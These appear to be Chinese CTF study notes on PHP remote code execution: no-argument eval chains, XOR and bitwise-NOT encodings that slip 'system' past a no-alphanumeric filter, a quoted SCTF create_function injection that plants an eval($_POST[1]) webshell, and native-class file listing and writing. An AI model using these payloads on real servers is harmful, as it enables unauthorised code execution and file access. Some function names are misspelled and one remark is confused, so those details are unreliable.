一、无参RCE 介绍

什么是无参RCE?

RCE英文全称:remote command/code execute

分为远程命令执行ping和远程代码执行evel

本次总结的是远程代码执行eval

而没有参数,就是形似eval(qwe())这种无限嵌套的RCE

二、主要函数

在我看来,无参RCE主要就是一些函数的利用

一些主要的比较危险的函数肯定要知道

比如:system(),exec(),scandir()等等

这里列举一些特殊的函数,也是无参RCE中能利用的

1.localeconv() 
函数返回一包含本地数字及货币格式信息的数组
第一个元素是`.`,配合scandir使用

2.current() 别名是 pos()
获取数组的第一个元素

3.next()
函数将内部指针指向数组中的下一个元素,并返回该元素
内部指针初始位置为第一个,一次next()就是第二个

4.array_reverse()
以相反的元素顺序返回数组

5.array_flip()
交换数组的键和值

6.getallheaders()
获取当前请求的所有请求头信息
exec(getallheaders())
就是返回请求头的最后一行

7.end()
输出数组中的当前元素和最后一个元素的值
也可以配合getallheaders()使用
end(getallheaders())

https://www.runoob.com/php/func-array-end.html
一些数组操作,可以看这个网址

8.session_id()

9.get_defined_vars()

	......

三、无数字字母RCE

源码:

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

不能输入数字字母,就要想办法构造出数字字母

1、异或 ^

例如:@ ^ ! = a

<?php 
$a=['!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~'];
foreach($a as $b){
	foreach($a as $c){
		echo "$b^$c=".($b^ $c);
		echo "</br>";
	}
}
?> 

直接把所有的异或情况列出来,然后取构造想要的函数就好了

2、取反 ~

<?php 
$a=urlencode(~('system'));
$b=serialize($a);
print_r($a);//输出 %8C%86%8C%8B%9A%92 
?> 

由于取反后,会有很多不可见字符,所以url编码一下输出就好了

GET请求方式会自行进行url解码

所以 code=~(%8C%86%8C%8B%9A%92)就能绕过正则

最后的code就是system

这里还有一道SCTF的一道类似的题

image-20220108222001066

无参而且无字母数字,并且过滤了非常多的函数

学习一下官方WP

image-20220108223430023

最后传入的code就是:

call_user_func('creat_funtion','','}eval($_POST[1]);/*')

等价于

create_funtion('','}eval($_POST[1]);/*')
    
//等价于
    
function lambda_1(){
    return }eval($_POST[1]);/*
}

那其实就相当于,写入了eval($_POST[1]);

接下来就可以对1进行传参

3、PHP的原生类的利用

通过函数get_declared_classes()查看已定义的类(就是php的原生类)

<?php 
print_r(get_declared_classes());
?> 
/*
Array
(
    [0] => stdClass
    [1] => Exception
    [2] => ErrorException
    [3] => Error
    [4] => CompileError
    [5] => ParseError
    [6] => TypeError
    [7] => ArgumentCountError
    [8] => ArithmeticError
    [9] => DivisionByZeroError
    [10] => Closure
    [11] => Generator
    [12] => ClosedGeneratorException
    [13] => WeakReference
    [14] => DateTime
    [15] => DateTimeImmutable
    [16] => DateTimeZone
    [17] => DateInterval
    [18] => DatePeriod
    [19] => LibXMLError
    [20] => SQLite3
    [21] => SQLite3Stmt
    [22] => SQLite3Result
    [23] => DOMException
    [24] => DOMStringList
    [25] => DOMNameList
    [26] => DOMImplementationList
    [27] => DOMImplementationSource
    [28] => DOMImplementation
    [29] => DOMNode
    [30] => DOMNameSpaceNode
    [31] => DOMDocumentFragment
    [32] => DOMDocument
    [33] => DOMNodeList
    [34] => DOMNamedNodeMap
    [35] => DOMCharacterData
    [36] => DOMAttr
    [37] => DOMElement
    [38] => DOMText
    [39] => DOMComment
    [40] => DOMTypeinfo
    [41] => DOMUserDataHandler
    [42] => DOMDomError
    [43] => DOMErrorHandler
    [44] => DOMLocator
    [45] => DOMConfiguration
    [46] => DOMCdataSection
    [47] => DOMDocumentType
    [48] => DOMNotation
    [49] => DOMEntity
    [50] => DOMEntityReference
    [51] => DOMProcessingInstruction
    [52] => DOMStringExtend
    [53] => DOMXPath
    [54] => finfo
    [55] => HashContext
    [56] => JsonException
    [57] => LogicException
    [58] => BadFunctionCallException
    [59] => BadMethodCallException
    [60] => DomainException
    [61] => InvalidArgumentException
    [62] => LengthException
    [63] => OutOfRangeException
    [64] => RuntimeException
    [65] => OutOfBoundsException
    [66] => OverflowException
    [67] => RangeException
    [68] => UnderflowException
    [69] => UnexpectedValueException
    [70] => RecursiveIteratorIterator
    [71] => IteratorIterator
    [72] => FilterIterator
    [73] => RecursiveFilterIterator
    [74] => CallbackFilterIterator
    [75] => RecursiveCallbackFilterIterator
    [76] => ParentIterator
    [77] => LimitIterator
    [78] => CachingIterator
    [79] => RecursiveCachingIterator
    [80] => NoRewindIterator
    [81] => AppendIterator
    [82] => InfiniteIterator
    [83] => RegexIterator
    [84] => RecursiveRegexIterator
    [85] => EmptyIterator
    [86] => RecursiveTreeIterator
    [87] => ArrayObject
    [88] => ArrayIterator
    [89] => RecursiveArrayIterator
    [90] => SplFileInfo
    [91] => DirectoryIterator
    [92] => FilesystemIterator
    [93] => RecursiveDirectoryIterator
    [94] => GlobIterator
    [95] => SplFileObject
    [96] => SplTempFileObject
    [97] => SplDoublyLinkedList
    [98] => SplQueue
    [99] => SplStack
    [100] => SplHeap
    [101] => SplMinHeap
    [102] => SplMaxHeap
    [103] => SplPriorityQueue
    [104] => SplFixedArray
    [105] => SplObjectStorage
    [106] => MultipleIterator
    [107] => PDOException
    [108] => PDO
    [109] => PDOStatement
    [110] => PDORow
    [111] => SessionHandler
    [112] => ReflectionException
    [113] => Reflection
    [114] => ReflectionFunctionAbstract
    [115] => ReflectionFunction
    [116] => ReflectionGenerator
    [117] => ReflectionParameter
    [118] => ReflectionType
    [119] => ReflectionNamedType
    [120] => ReflectionMethod
    [121] => ReflectionClass
    [122] => ReflectionObject
    [123] => ReflectionProperty
    [124] => ReflectionClassConstant
    [125] => ReflectionExtension
    [126] => ReflectionZendExtension
    [127] => ReflectionReference
    [128] => __PHP_Incomplete_Class
    [129] => php_user_filter
    [130] => Directory
    [131] => AssertionError
    [132] => SimpleXMLElement
    [133] => SimpleXMLIterator
    [134] => PharException
    [135] => Phar
    [136] => PharData
    [137] => PharFileInfo
    [138] => XMLReader
    [139] => XMLWriter
)
*/

一、可遍历目录类

1.DirectoryIterator

参数为一个目录的路径

该目录下的每个文件都是该类的实例,有自带的方法

//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//获得该类的所有方法
#print_r(get_class_methods($dir))
//1、foreach直接循环
foreach ($dir as $file){
    if($file->isFile()){
        echo $file->getFilename()."<br />";
    }
}
Array  //所有方法
(
    [0] => __construct
    [1] => getFilename
    [2] => getExtension
    [3] => getBasename
    [4] => isDot
    [5] => rewind
    [6] => valid
    [7] => key
    [8] => current
    [9] => next
    [10] => seek
    [11] => __toString
    [12] => getPath
    [13] => getPathname
    [14] => getPerms
    [15] => getInode
    [16] => getSize
    [17] => getOwner
    [18] => getGroup
    [19] => getATime
    [20] => getMTime
    [21] => getCTime
    [22] => getType
    [23] => isWritable
    [24] => isReadable
    [25] => isExecutable
    [26] => isFile
    [27] => isDir
    [28] => isLink
    [29] => getLinkTarget
    [30] => getRealPath
    [31] => getFileInfo
    [32] => getPathInfo
    [33] => openFile
    [34] => setFileClass
    [35] => setInfoClass
    [36] => _bad_state_ex
)

(1)__FILE__常量

当前文件的路径

/box1/box/script.php

dirname(__FILE__)

当前文件目录的路径

/box1/box

2.FilesystemIterator

$iterator = new FilesystemIterator(dirname(__FILE__));  // 创建当前目录的迭代器
#$iterator = new FilesystemIterator('.');   //一样的用法

while ($iterator->valid()) { // 检测迭代器是否到底了
    echo $iterator->getFilename(), ':', $iterator->getCTime(), PHP_EOL;
    $iterator->next();  // 游标往后移动
}
//输出所有方法
print_r(get_class_methods($iterator));
Array  //所有方法
(
    [0] => __construct
    [1] => rewind
    [2] => next
    [3] => key
    [4] => current
    [5] => getFlags
    [6] => setFlags
    [7] => getFilename
    [8] => getExtension
    [9] => getBasename
    [10] => isDot
    [11] => valid
    [12] => seek
    [13] => __toString
    [14] => getPath
    [15] => getPathname
    [16] => getPerms
    [17] => getInode
    [18] => getSize
    [19] => getOwner
    [20] => getGroup
    [21] => getATime
    [22] => getMTime
    [23] => getCTime
    [24] => getType
    [25] => isWritable
    [26] => isReadable
    [27] => isExecutable
    [28] => isFile
    [29] => isDir
    [30] => isLink
    [31] => getLinkTarget
    [32] => getRealPath
    [33] => getFileInfo
    [34] => getPathInfo
    [35] => openFile
    [36] => setFileClass
    [37] => setInfoClass
    [38] => _bad_state_ex
)

二、可读取文件类

1.SplFileObject

在此函数中,URL 可作为文件名,不过也要受到 allow_url_fopen 影响。

该类有两个参数,一个是文件名,一个是文件操作

(1)读文件

$filename = 'b.txt';
$method = 'r';
$fp = new SplFileObject($filename , $method);
print_r(get_class_methods($fp)); //输出所有方法
echo $fp->fread($fp->getSize()); //fread() 返回该文件内容 参数是字符个数(int)
Array  //所有方法
(
    [0] => __construct
    [1] => rewind
    [2] => eof
    [3] => valid
    [4] => fgets
    [5] => fgetcsv
    [6] => fputcsv
    [7] => setCsvControl
    [8] => getCsvControl
    [9] => flock
    [10] => fflush
    [11] => ftell
    [12] => fseek
    [13] => fgetc
    [14] => fpassthru
    [15] => fgetss
    [16] => fscanf
    [17] => fwrite
    [18] => fread
    [19] => fstat
    [20] => ftruncate
    [21] => current
    [22] => key
    [23] => next
    [24] => setFlags
    [25] => getFlags
    [26] => setMaxLineLen
    [27] => getMaxLineLen
    [28] => hasChildren
    [29] => getChildren
    [30] => seek
    [31] => getCurrentLine
    [32] => __toString
    [33] => getPath
    [34] => getFilename
    [35] => getExtension
    [36] => getBasename
    [37] => getPathname
    [38] => getPerms
    [39] => getInode
    [40] => getSize
    [41] => getOwner
    [42] => getGroup
    [43] => getATime
    [44] => getMTime
    [45] => getCTime
    [46] => getType
    [47] => isWritable
    [48] => isReadable
    [49] => isExecutable
    [50] => isFile
    [51] => isDir
    [52] => isLink
    [53] => getLinkTarget
    [54] => getRealPath
    [55] => getFileInfo
    [56] => getPathInfo
    [57] => openFile
    [58] => setFileClass
    [59] => setInfoClass
    [60] => _bad_state_ex
)

(2)第二个参数及其作用

  • 打开模式为w,那么就是只写,不读
  • 打开模式为r,那么就是只读,不写
  • 打开模式为w+,那么指针就是在文件开头处读写
  • 打开模式为a+,那么指针就是在文件末尾处读写

(3)写文件(filter过滤器,实现base64编码)

$f=new SplFileObject('php://filter/convert.base64-decode/resource=b.txt',"w");
$f->fwrite("Y3Rm");

php://filter/convert.base64-decode/resource=b.txt

这个就是在写入文件的时候,自动进行base64解码

那么使用fwrite的时候,写入base64编码后的内容,最后在文件中就是正常的内容了

当然读取文件也可以使用过滤器,读取解码后的内容或者编码后的内容

知识点:

1、...array()三个点

这个方式一开始看不懂,研究了一下,就是将数组的各个元素分离

例如:

...['q','w','e']

返回的就是三个字符 q,w,e

2、create_function函数

根据传递的参数创建匿名函数,并为其返回唯一名称。

重点注意第二个参数

举个例子:

?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n"; //独一无二的名字 lambda_1
echo $newfunc(2, M_E) . "\n";
?>

等价于 =>

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>